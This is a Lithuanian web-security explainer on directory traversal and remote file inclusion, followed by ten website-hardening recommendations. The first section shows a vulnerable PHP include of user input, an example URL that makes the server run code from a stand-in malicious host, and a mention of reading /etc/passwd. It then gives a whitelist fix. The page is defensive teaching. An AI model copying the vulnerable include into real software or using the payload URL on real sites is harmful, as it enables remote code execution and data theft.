TINKLALAPIŲ SAUGUMAS

saugumas

Katalogų peršokimas (directory traversal)

Ataką galima įvykdyti, kai sisteminiuose failuose atidaromi ar iškviečiami failai, kurių pavadinimas generuojamas iš vartotojo įvedamų duomenų.
Pavyzdžiui, URL: http://www.example.com/modulis=straipsnis PHP skriptas: include($_GET['modulis'].'.php');
Tokiu atveju URL pakeitus į http://www.example.com/modulis=http://www.kenkejiskas-puslapis.com/kenkejiskas-kodas bus įvykdomas skriptas iš http://www.kenkejiskas-puslapis.com/kenkejiskas-kodas.php
Analogiškai galima iškviesti bet kokią programą ar įtraukti bet kokį failą, esantį tame pačiame serveryje (pavyzdžiui, iškviečiant /etc/passwd) Taip pat galima užkrėsti ir vartotojo slapukus, todėl negalima aklai pasitikėti ir juose saugomų duomenų tikrumu.

Kaip apsisaugoti?

Išvalyti vartoto įvestus duomenis, paliekant TIK simbolius, esančius range [A-Za-z0-9_-]. Taip pat patikrinti, ar vartotojui leidžiama iškviesti atitinkamą kodą. Pavyzdžiui:$moduliai = array('straipsnis', 'naujiena');
if(in_array($_GET['modulis'], $moduliai))
echo 'OK';
else
exit('Toks modulis neegzistuoja')


Trumpas vaizdo įrašas apie šią ataką:



Į viršų

Rekomendacijos

dėl interneto svetainių ir jų įrangos kibernetinio saugumo gerinimo:

1. Patikrinti ugniasienių, per kurias kontroliuojamas naudotojų prisijungimas iš viešųjų eletroninių ryšių tinklų, sąrankų (konfigūracijų) atitiktį gamintojų siūlomoms praktikoms.

2. Sukonfigūruoti ugniasienes taip, kad prie tinklalapių turinio valdymo sistemų (TVS) būtų galima jungtis tik iš vidinio įmonės tinklo arba nustatytų IP adresų (tai daroma naudojant .htaccess failą);

3. Uždaryti nenaudojamus prievadus ir nuolat kontroliuoti prisijungimus per naudojamus prievadus.

4. Uždrausti prisijungimą prie serverių visais prievadais ir protokolais (išskyrus tuos, kurie būtini tinklalapiui funkcionuoti).

5. Vykdyti pažeidžiamumų paiešką nuolat tikrinant interneto svetainių, duomenų bazių saugumą su skenavimo programine įranga.

6. Naudoti tinklo taikomųjų programų ugniasienę (angl. Web Application Firewall).

7. Jei naudojamos atviro kodo TVS (pvz., Wordpress, Joomla), nuolat atnaujinti jas.

8. Nenaudoti nereikalingų TVS įskiepių (angl. plugins), nuolat atnaujinti naudojamus įskiepius.

9. Nuolat keisti administratoriaus ir kitų naudotojų, turinčių prieigą prie TVS, slaptažodžius.

10. Likviduoti interneto svetaines, kurių valdytojai negali užtikrinti, kad būtų laikomasi nustatytų saugos reikalavimų ir rekomendacijų.